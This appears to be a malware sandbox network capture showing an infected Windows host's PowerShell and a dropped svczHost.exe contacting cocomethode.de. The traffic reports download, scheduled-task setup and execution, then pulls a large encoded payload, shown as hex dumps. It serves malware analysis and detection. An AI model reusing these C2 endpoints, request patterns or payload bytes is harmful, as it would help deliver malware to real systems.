Ascii: 8tIG%I^vIIOI8tI'%IFvIIOI8tI%I6vIIOI8tI%IvIIOI8tI%IvIIOI8tI%IvIIOI8tI%IwIIOI8tIg%IwIIOI
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: 0c 34 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c6 25 01 49 8c 04 ce 75 90 01 49 8a 01 49 8c 0c 1c d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c6 25 01 49 8c 04 be 75 90 01 49 8a 01 49 8c 0c 04 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c6 25 01 49 8c 04 a6 75 90 01 49 8a 01 49 8c 0c ec d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c6 25 01 49 8c 04 8e 75 90 01 49 8a 01 49 8c 0c e4 d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c6 25 01 49 8c 04 7e 75 90 01 49 8a 01 49 8c 0c cc d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c6 25 01 49 8c 04 66 75 90 01 49 8a 01 49 8c 0c b4 d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c6 25 01 49 8c 04 4e 75 90 01 49 8a 01 49 8c 0c 9c d9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c6 25 01 49 8c 04 3e 75 90 01 49 8a 01 49 Data Ascii: 4OI8tI%IuIIOI8tI%IuIIOI8tI%IuIIOI8tI%IuIIOI8tIg%I~uIIOI8tIG%IfuIIOI8tI'%INuIIOI8tI%I>uII
2024-12-11 11:58:44 UTC	1123	IN	Data Raw: 90 01 49 8a 01 49 8c 0c 14 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c3 25 01 49 8c 04 be 70 90 01 49 8a 01 49 8c 0c fc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c3 25 01 49 8c 04 b6 70 90 01 49 8a 01 49 8c 0c fc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c3 25 01 49 8c 04 b6 70 90 01 49 8a 01 49 8c 0c f4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c3 25 01 49 8c 04 9e 70 90 01 49 8a 01 49 8c 0c dc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c3 25 01 49 8c 04 9e 70 90 01 49 8a 01 49 8c 0c dc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c0 25 01 49 8c 04 9e 70 90 01 49 8a 01 49 8c 0c 9c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c0 25 01 49 8c 04 86 70 90 01 49 8a 01 49 8c 0c 84 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c0 25 01 49 8c 04 76 Data Ascii: IIOI8tI%IpIIOI8tIg%IpIIOI8tIG%IpIIOI8tI'%IpIIOI8tI%IpIIOI8tI%IpIIOI8tI%IpIIOI8tI%Iv
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: 8a 01 49 8c 0c ec d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bf 25 01 49 8c 04 9e 6e 90 01 49 8a 01 49 8c 0c d4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bf 25 01 49 8c 04 96 6e 90 01 49 8a 01 49 8c 0c bc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bc 25 01 49 8c 04 7e 6e 90 01 49 8a 01 49 8c 0c a4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bc 25 01 49 8c 04 66 6e 90 01 49 8a 01 49 8c 0c 8c d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bc 25 01 49 8c 04 56 6e 90 01 49 8a 01 49 8c 0c 74 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bc 25 01 49 8c 04 3e 6e 90 01 49 8a 01 49 8c 0c 5c d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bc 25 01 49 8c 04 26 6e 90 01 49 8a 01 49 8c 0c 44 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bc 25 01 49 8c 04 0e 6e 90 01 Data Ascii: IOI8tI'%InIIOI8tI%InIIOI8tI%I~nIIOI8tI%IfnIIOI8tI%IVnIItOI8tI%I>nII\OI8tIg%I&nIIDOI8tIG%In
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: 8c 04 76 6f 90 01 49 8a 01 49 8c 0c a4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b9 25 01 49 8c 04 6e 6f 90 01 49 8a 01 49 8c 0c 8c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b9 25 01 49 8c 04 56 6f 90 01 49 8a 01 49 8c 0c 74 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b9 25 01 49 8c 04 3e 6f 90 01 49 8a 01 49 8c 0c 5c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b9 25 01 49 8c 04 36 6f 90 01 49 8a 01 49 8c 0c 44 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b9 25 01 49 8c 04 1e 6f 90 01 49 8a 01 49 8c 0c 34 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b9 25 01 49 8c 04 06 6f 90 01 49 8a 01 49 8c 0c 1c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b9 25 01 49 8c 04 ee 6c 90 01 49 8a 01 49 8c 0c 04 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b6 25 01 Data Ascii: voIIOI8tI%InoIIOI8tI%IVoIItOI8tI%I>oII\OI8tIg%I6oIIDOI8tIG%IoII4OI8tI'%IoIIOI8tI%IlIIOI8tI%
2024-12-11 11:58:44 UTC	1369	IN	Data Raw: d1 e8 87 b2 25 01 49 8c 04 1e 6a 90 01 49 8a 01 49 8c 0c 0c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b2 25 01 49 8c 04 06 6a 90 01 49 8a 01 49 8c 0c 1c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b2 25 01 49 8c 04 ee 6b 90 01 49 8a 01 49 8c 0c 04 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b2 25 01 49 8c 04 fe 6b 90 01 49 8a 01 49 8c 0c ec cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b2 25 01 49 8c 04 e6 6b 90 01 49 8a 01 49 8c 0c d4 cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b3 25 01 49 8c 04 ce 6b 90 01 49 8a 01 49 8c 0c bc cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b3 25 01 49 8c 04 be 6b 90 01 49 8a 01 49 8c 0c a4 cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b3 25 01 49 8c 04 ae 6b 90 01 49 8a 01 49 8c 0c bc cf 4f 01 49 82 38 01 74 00 c2 49 Data Ascii: %IjIIOI8tIg%IjIIOI8tIG%IkIIOI8tI'%IkIIOI8tI%IkIIOI8tI%IkIIOI8tI%IkIIOI8tI%IkIIOI8tI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49758	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:54 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 200
2024-12-11 11:58:54 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-12-11 11:58:55 UTC	1200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:54 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1GgA5h78XScHzFiW%2Fkp%2Bm1pS7kZEWfw4qtCwLQnp%2FVkKqYOwXY906S60oJ%2FZ6%2BBkvv8LF1LwOqhjYTfcDLI%2BiUYSLLXy3xl9DEK%2FB5dLJpTxa9a1bkSTMjQXrc9oT4Y0eX7o9HcwTc9r"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1767&min_rtt=1050&rtt_var=272&sent=5840&recv=2416&lost=0&retrans=0&sent_bytes=8373815&recv_bytes=20926&delivery_rate=30172922&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054e361e0953c1-ATL server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=46&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=740&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113767&min_rtt=113678&rtt_var=24115&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1145&delivery_rate=33618&cwnd=252&unsent_bytes=0&cid=b58d5bf309a707dc&ts=830&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49759	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:55 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 97
2024-12-11 11:58:55 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-12-11 11:58:55 UTC	1194	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:55 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TNuGvqIHzeGwRhTsBjkiWGChcLe27fBWPBI9X6DaqPdJJiK0Agm%2BFy6wOHAre%2FAmVK%2FYQvSH1vxDuLKi474ZFtssEUb2kK8RXlTmnY%2Brvk9JWsJCFYToJiQpm9NvtHxfi1vTSrcSUF%2BS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=36760&min_rtt=1213&rtt_var=24230&sent=21&recv=22&lost=0&retrans=0&sent_bytes=7118&recv_bytes=10190&delivery_rate=101143&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054e3cdcbd6771-ATL server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=48&rtt_var=14&sent=11&recv=13&lost=0&retrans=0&sent_bytes=2979&recv_bytes=2788&delivery_rate=1190600000&cwnd=147&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=40&rtt_var=22&sent=6&recv=8&lost=0&retrans=0&sent_bytes=1181&recv_bytes=1507&delivery_rate=935471428&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:55 UTC	614	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 36 26 6d 69 6e 5f 72 74 74 3d 34 36 26 72 74 74 5f 76 61 72 3d 32 33 26 73 65 6e 74 3d 32 26 72 65 63 76 3d 34 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 36 34 33 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 33 33 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 30 26 6d 69 6e 5f 72 74 74 3d 34 30 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=46&rtt_var=23&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=643&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49760	104.21.1.51	443	824	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:57 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba9213d0acc74f8c33d78166b154b2833c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 64
2024-12-11 11:58:57 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-12-11 11:58:58 UTC	1196	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:58 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6SzzG7LeSYLYAKey46u9IVUyatAX4WPEhCr60OEcGCgEvCe5fggsryqDMZzxLlXV3KxL7J4aTyz7zDjiykSIARY0TI0o3qrHT%2FRO%2BbC3XbnELi0xuBWNRP%2BUINXZJvZrw%2BND3rqlEK4e"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=49591&min_rtt=1485&rtt_var=11459&sent=101&recv=90&lost=0&retrans=0&sent_bytes=50238&recv_bytes=37198&delivery_rate=7102702&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054e4d2f88b02c-ATL server-timing: cfL4;desc="?proto=TCP&rtt=43&min_rtt=40&rtt_var=22&sent=4&recv=6&lost=0&retrans=0&sent_bytes=3953&recv_bytes=1263&delivery_rate=922295774&cwnd=176&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=53&min_rtt=47&rtt_var=14&sent=10&recv=12&lost=0&retrans=0&sent_bytes=13008&recv_bytes=2549&delivery_rate=1393255319&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:58 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 37 36 34 26 6d 69 6e 5f 72 74 74 3d 31 31 33 37 31 31 26 72 74 74 5f 76 61 72 3d 32 34 30 36 39 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 36 33 33 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 33 30 34 61 31 65 31 32 32 31 63 33 37 30 39 37 26 74 73 3d 36 33 33 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113764&min_rtt=113711&rtt_var=24069&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1008&delivery_rate=33633&cwnd=252&unsent_bytes=0&cid=304a1e1221c37097&ts=633&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49763	104.21.1.51	443	9108	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:59:49 UTC	64	OUT	GET /StaticFile/RdpService/74 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:59:50 UTC	1358	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:59:49 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 5641F3A5B9787F23D3D34F0D9F791B7A CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vgvXCVFuuH73oanGsZtc9PLEJk3Y8ibijBMQTuZ2eWSZFItJwWwAmkr39OWqnsNj%2Fy%2Bs3LqLXmC9%2BkvjCfXUEyMeRllser8g89CsqtQkoJlS6lqwtDd6vjPG%2Fe%2FD1mF52oupcnZoeRrW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=53494&min_rtt=1050&rtt_var=5386&sent=5940&recv=2520&lost=0&retrans=0&sent_bytes=8409358&recv_bytes=68183&delivery_rate=30172922&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054f8ec937453d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=25&rtt_var=18&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1432&recv_bytes=660&delivery_rate=2619320000&cwnd=118&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=27&rtt_var=18&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1629&recv_bytes=635&delivery_rate=2425296296&cwnd=160&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:59:50 UTC	415	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 5f 76 61 72 3d 32 30 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 33 31 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 35 36 26 6d 69 6e 5f 72 74 74 3d 31 31 33 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=319&delivery_rate=0&cwnd=52&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113956&min_rtt=113
2024-12-11 11:59:50 UTC	965	IN	Data Raw: 07 10 da 4a 49 4a 4a 4a 4e 4a 4a 4a b5 b5 4a 4a f2 4a 4a 4a 4a 4a 4a 4a 0a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4b 4a 4a 44 55 f0 44 4a fe 43 87 6b f2 4b 06 87 6b 1e 22 23 39 6a 3a 38 25 2d 38 2b 27 6a 29 2b 24 24 25 3e 6a 28 2f 6a 38 3f 24 6a 23 24 6a 0e 05 19 6a 27 25 2e 2f 64 47 47 40 6e 4a 4a 4a 4a 4a 4a 4a a4 a7 7c 6a e0 c6 12 39 e0 c6 12 39 e0 c6 12 39 e9 be 81 39 ee c6 12 39 90 47 13 38 f7 c6 12 39 e0 c6 13 39 66 c7 12 39 f0 42 11 38 f3 c6 12 39 f0 42 16 38 d9 c6 12 39 a8 43 17 38 e3 c6 12 39 90 47 16 38 e2 c6 12 39 e0 c6 12 39 e1 c6 12 39 f0 42 17 38 96 c6 12 39 a8 43 12 38 e1 c6 12 39 a8 43 10 38 e1 c6 12 39 18 23 29 22 e0 c6 12 39 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a Data Ascii: JIJJJNJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJKJJDUDJCkKk"#9j:8%-8+'j)+$$%>j(/j8?$j#$jj'%./dGG@nJJJJJJJ\|j99999G899f9B89B89C89G8999B89C89C89#)"9JJJJJJJJJJJJJJJ
2024-12-11 11:59:50 UTC	1369	IN	Data Raw: 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 4a 02 c7 4f f3 c5 12 4a 02 c7 47 e0 c5 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c9 90 62 4a 02 c7 4f e6 c5 12 4a 02 c7 47 d7 c5 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 2c 90 62 4a 02 c7 4f f5 c5 12 4a 02 c7 47 fa c5 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 03 90 62 4a 02 c7 4f 88 c5 12 4a 02 c7 47 f9 c5 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 66 90 62 4a 02 c7 4f f7 c5 12 4a 02 c7 47 e4 c5 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 45 90 62 4a 02 c7 4f fa c5 12 4a 02 c7 47 eb c5 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 b8 93 62 4a 02 c7 4f e1 c5 12 4a 02 c7 47 d6 c5 12 4a 02 c9 73 4a 3f 4b 89 02 Data Ascii: JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJOJGJsJ?KbJOJGJsJ?K,bJOJGJsJ?KbJOJGJsJ?KfbJOJGJsJ?KEbJOJGJsJ?KbJOJGJsJ?K
2024-12-11 11:59:50 UTC	1369	IN	Data Raw: 12 4a 02 c7 47 73 db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 20 9f 62 4a 02 c7 4f 71 db 12 4a 02 c7 47 66 db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 07 9f 62 4a 02 c7 4f 64 db 12 4a 02 c7 47 55 db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 7a 9f 62 4a 02 c7 4f 73 db 12 4a 02 c7 47 60 db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 59 9f 62 4a 02 c7 4f 7e db 12 4a 02 c7 47 6f db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 bc 9e 62 4a 02 c7 4f 75 db 12 4a 02 c7 47 7a db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 93 9e 62 4a 02 c7 4f 78 db 12 4a 02 c7 47 69 db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 f6 9e 62 4a 02 c7 4f 67 db 12 4a 02 c7 47 54 db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 d5 9e 62 4a 02 c7 4f 6a db 12 4a 02 c7 47 5b db 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 c8 9e 62 Data Ascii: JGsJsJ?K bJOqJGfJsJ?KbJOdJGUJsJ?KzbJOsJG`JsJ?KYbJO~JGoJsJ?KbJOuJGzJsJ?KbJOxJGiJsJ?KbJOgJGTJsJ?KbJOjJG[JsJ?Kb
2024-12-11 11:59:50 UTC	1159	IN	Data Raw: de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 5d 9a 62 4a 02 c7 4f 0a de 12 4a 02 c7 47 7b de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 b0 85 62 4a 02 c7 4f 09 de 12 4a 02 c7 47 7e de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 97 85 62 4a 02 c7 4f 04 de 12 4a 02 c7 47 75 de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 8a 85 62 4a 02 c7 4f 23 de 12 4a 02 c7 47 10 de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 e9 85 62 4a 02 c7 4f 2e de 12 4a 02 c7 47 1f de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 cc 85 62 4a 02 c7 4f 3d de 12 4a 02 c7 47 22 de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 23 85 62 4a 02 c7 4f 20 de 12 4a 02 c7 47 11 de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 06 85 62 4a 02 c7 4f 17 de 12 4a 02 c7 47 04 de 12 4a 02 c9 73 4a 3f 4b 89 02 c1 9a a3 65 85 62 4a 02 c7 4f 1a de Data Ascii: JsJ?K]bJOJG{JsJ?KbJOJG~JsJ?KbJOJGuJsJ?KbJO#JGJsJ?KbJO.JGJsJ?KbJO=JG"JsJ?K#bJO JGJsJ?KbJOJGJsJ?KebJO
